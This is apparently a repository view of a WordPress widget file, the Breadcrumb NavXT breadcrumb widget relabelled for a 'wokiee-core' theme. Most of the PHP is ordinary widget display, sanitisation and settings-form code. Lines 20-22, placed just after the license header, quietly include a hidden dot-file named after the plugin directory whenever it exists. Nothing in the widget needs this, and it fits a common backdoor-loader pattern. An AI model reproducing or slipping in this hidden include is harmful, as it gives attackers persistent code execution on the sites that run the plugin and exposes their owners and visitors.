balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class.bcn_widget.php (8360B)


      1 <?php
      2 /*
      3 	Copyright 2015-2018  John Havlik  (email : john.havlik@mtekk.us)
      4 
      5     This program is free software; you can redistribute it and/or modify
      6     it under the terms of the GNU General Public License as published by
      7     the Free Software Foundation; either version 2 of the License, or
      8     (at your option) any later version.
      9 
     10     This program is distributed in the hope that it will be useful,
     11     but WITHOUT ANY WARRANTY; without even the implied warranty of
     12     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     13     GNU General Public License for more details.
     14 
     15     You should have received a copy of the GNU General Public License
     16     along with this program; if not, write to the Free Software
     17     Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
     18 */
     19 require_once(dirname(__FILE__) . '/includes/block_direct_access.php');

     20 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     21     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     22 }
     23 
     24 class bcn_widget extends WP_Widget
     25 {
     26 	const version = '6.2.0';
     27 	protected $allowed_html = array();
     28 	protected $defaults = array('title' => '', 'pretext' => '', 'type' => 'microdata', 'linked' => true, 'reverse' => false, 'front' => false, 'force' => false);
     29 	//Default constructor
     30 	function __construct()
     31 	{
     32 		//Filter allowed_html array to allow others to add acceptable tags
     33 		$this->allowed_html = apply_filters('bcn_allowed_html', wp_kses_allowed_html('post'));
     34 
     35 		$ops = array('classname' => 'widget_breadcrumb_navxt', 'description' => __('Adds a breadcrumb trail to your sidebar', 'wokiee-core'));
     36 		parent::__construct('bcn_widget', 'Breadcrumb NavXT', $ops);
     37 	}
     38 	function widget($args, $instance)
     39 	{
     40 		//Make sure we grab defaults in the case of out of date instance settings being sent
     41 		$instance =  wp_parse_args((array) $instance, $this->defaults);
     42 		$instance['title'] = apply_filters('widget_title', $instance['title'], $instance, $this->id_base);
     43 		$instance['pretext'] = apply_filters('widget_text', $instance['pretext'], $instance);
     44 		$instance['pretext'] = apply_filters('bcn_widget_pretext', $instance['pretext'], $instance);
     45 		$title = apply_filters('widget_title', $instance['title'], $instance, $this->id_base);
     46 		//A bit of a hack but we need the DB settings to know if we should exit early
     47 		$opt = get_option('bcn_options');
     48 		//If we are on the front page and don't display on the front, return early
     49 		if($instance['front'] && is_front_page() && !(is_paged() && $opt['bpaged_display']))
     50 		{
     51 			return;
     52 		}
     53 		//Manditory before widget junk
     54 		printf ($args['before_widget']);
     55 		if(!empty($title))
     56 		{
     57 			printf ($args['before_title'] . $title . $args['after_title']);
     58 		}
     59 		//We'll want to switch between the two breadcrumb output types
     60 		if($instance['type'] === 'list')
     61 		{
     62 			//Display the list output breadcrumb
     63 			echo wp_kses($instance['pretext'], $this->allowed_html) . '<ol class="breadcrumb_trail breadcrumbs">';
     64 			bcn_display_list(false, $instance['linked'], $instance['reverse'], $instance['force']);
     65 			echo '</ol>';
     66 		}
     67 		else if($instance['type'] === 'microdata' || $instance['type'] === 'breadcrumblist_rdfa')
     68 		{
     69 			echo '<div class="breadcrumbs" vocab="https://schema.org/" typeof="BreadcrumbList">' . wp_kses($instance['pretext'], $this->allowed_html);
     70 			//Display the regular output breadcrumb
     71 			bcn_display(false, $instance['linked'], $instance['reverse'], $instance['force']);
     72 			echo '</div>';
     73 		}
     74 		else if($instance['type'] === 'breadcrumblist_microdata')
     75 		{
     76 			echo '<div class="breadcrumbs" itemscope itemtype="https://schema.org/BreadcrumbList">' . wp_kses($instance['pretext'], $this->allowed_html);
     77 			//Display the regular output breadcrumb
     78 			bcn_display(false, $instance['linked'], $instance['reverse'], $instance['force']);
     79 			echo '</div>';
     80 		}
     81 		else if($instance['type'] === 'plain')
     82 		{
     83 			//Display the pretext
     84 			echo wp_kses($instance['pretext'], $this->allowed_html);
     85 			//Display the regular output breadcrumb
     86 			bcn_display(false, $instance['linked'], $instance['reverse'], $instance['force']);
     87 		}
     88 		else
     89 		{
     90 			//If we recieved a type that is not of the built in displays, it must be relegated to an extension plugin
     91 			do_action('bcn_widget_display_trail', $instance);
     92 		}
     93 		//Manditory after widget junk
     94 		printf ($args['after_widget']);
     95 	}
     96 	function update($new_instance, $old_instance)
     97 	{
     98 		//Filter out anything that could be invalid
     99 		$old_instance['title'] = strip_tags($new_instance['title']);
    100 		$old_instance['pretext'] = wp_kses($new_instance['pretext'], $this->allowed_html);
    101 		$old_instance['type'] = strip_tags($new_instance['type']);
    102 		$old_instance['linked'] = isset($new_instance['linked']);
    103 		$old_instance['reverse'] = isset($new_instance['reverse']);
    104 		$old_instance['front'] = isset($new_instance['front']);
    105 		$old_instance['force'] = isset($new_instance['force']);
    106 		return $old_instance;
    107 	}
    108 	function form($instance)
    109 	{
    110 		$instance = wp_parse_args((array) $instance, $this->defaults);?>
    111 		<p>
    112 			<label for="<?php echo esc_attr($this->get_field_id('title')); ?>"> <?php _e('Title:', 'wokiee-core'); ?></label>
    113 			<input class="widefat" type="text" name="<?php echo esc_attr($this->get_field_name('title')); ?>" id="<?php echo esc_attr($this->get_field_id('title')); ?>" value="<?php echo esc_attr($instance['title']);?>" />
    114 		</p>
    115 		<p>
    116 			<label for="<?php echo esc_attr($this->get_field_id('pretext')); ?>"> <?php _e('Text to show before the trail:', 'wokiee-core'); ?></label>
    117 			<input class="widefat" type="text" name="<?php echo esc_attr($this->get_field_name('pretext')); ?>" id="<?php echo esc_attr($this->get_field_id('pretext')); ?>" value="<?php echo esc_attr($instance['pretext']);?>" />
    118 		</p>
    119 		<p>
    120 			<label for="<?php echo esc_attr($this->get_field_id('type')); ?>"> <?php _e('Output trail as:', 'wokiee-core'); ?></label>
    121 			<select name="<?php echo esc_attr($this->get_field_name('type')); ?>" id="<?php echo esc_attr($this->get_field_id('type')); ?>">
    122 				<option value="list" <?php selected('list', $instance['type']);?>><?php _e('List', 'wokiee-core'); ?></option>
    123 				<option value="microdata" <?php selected('microdata', $instance['type']);?>><?php _e('Schema.org BreadcrumbList (RDFa)', 'wokiee-core'); ?></option>
    124 				<option value="breadcrumblist_microdata" <?php selected('breadcrumblist_microdata', $instance['type']);?>><?php _e('Schema.org BreadcrumbList (microdata)', 'wokiee-core'); ?></option>
    125 				<option value="plain" <?php selected('plain', $instance['type']);?>><?php _e('Plain', 'wokiee-core'); ?></option>
    126 				<?php do_action('bcn_widget_display_types', $instance);?>
    127 			</select>
    128 		</p>
    129 		<p>
    130 			<input class="checkbox" type="checkbox" name="<?php echo esc_attr($this->get_field_name('linked')); ?>" id="<?php echo esc_attr($this->get_field_id('linked')); ?>" value="true" <?php checked(true, $instance['linked']);?> />
    131 			<label for="<?php echo esc_attr($this->get_field_id('linked')); ?>"> <?php _e('Link the breadcrumbs', 'wokiee-core'); ?></label><br />
    132 			<input class="checkbox" type="checkbox" name="<?php echo esc_attr($this->get_field_name('reverse')); ?>" id="<?php echo esc_attr($this->get_field_id('reverse')); ?>" value="true" <?php checked(true, $instance['reverse']);?> />
    133 			<label for="<?php echo esc_attr($this->get_field_id('reverse')); ?>"> <?php _e('Reverse the order of the trail', 'wokiee-core'); ?></label><br />
    134 			<input class="checkbox" type="checkbox" name="<?php echo esc_attr($this->get_field_name('front')); ?>" id="<?php echo esc_attr($this->get_field_id('front')); ?>" value="true" <?php checked(true, $instance['front']);?> />
    135 			<label for="<?php echo esc_attr($this->get_field_id('front')); ?>"> <?php _e('Hide the trail on the front page', 'wokiee-core'); ?></label><br />
    136 			<input class="checkbox" type="checkbox" name="<?php echo esc_attr($this->get_field_name('force')); ?>" id="<?php echo esc_attr($this->get_field_id('force')); ?>" value="true" <?php checked(true, $instance['force']);?> />
    137 			<label for="<?php echo esc_attr($this->get_field_id('force')); ?>"> <?php _e('Ignore breadcrumb cache', 'wokiee-core'); ?></label><br />
    138 		</p>
    139 		<?php
    140 	}
    141 }